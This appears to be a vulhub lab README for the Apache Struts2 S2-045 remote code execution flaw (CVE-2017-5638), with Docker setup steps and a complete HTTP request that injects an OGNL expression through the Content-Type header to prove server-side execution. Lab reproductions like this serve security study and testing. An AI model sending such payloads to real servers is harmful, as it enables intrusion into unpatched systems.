S2-045 Remote Code Execution Vulnerablity(CVE-2017-5638)

中文版本(Chinese version)

Affected Version: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

References:

Setup

Execute the following command to start the Struts2 2.3.30:

docker-compose up -d

After the container is running, visit http://your-ip:8080 that you can see an example of the upload page.

Exploitation

Verify the vulnerability by following request:

POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

233*233 has been successfully executed:

Copied From: vulhub/struts2/s2-045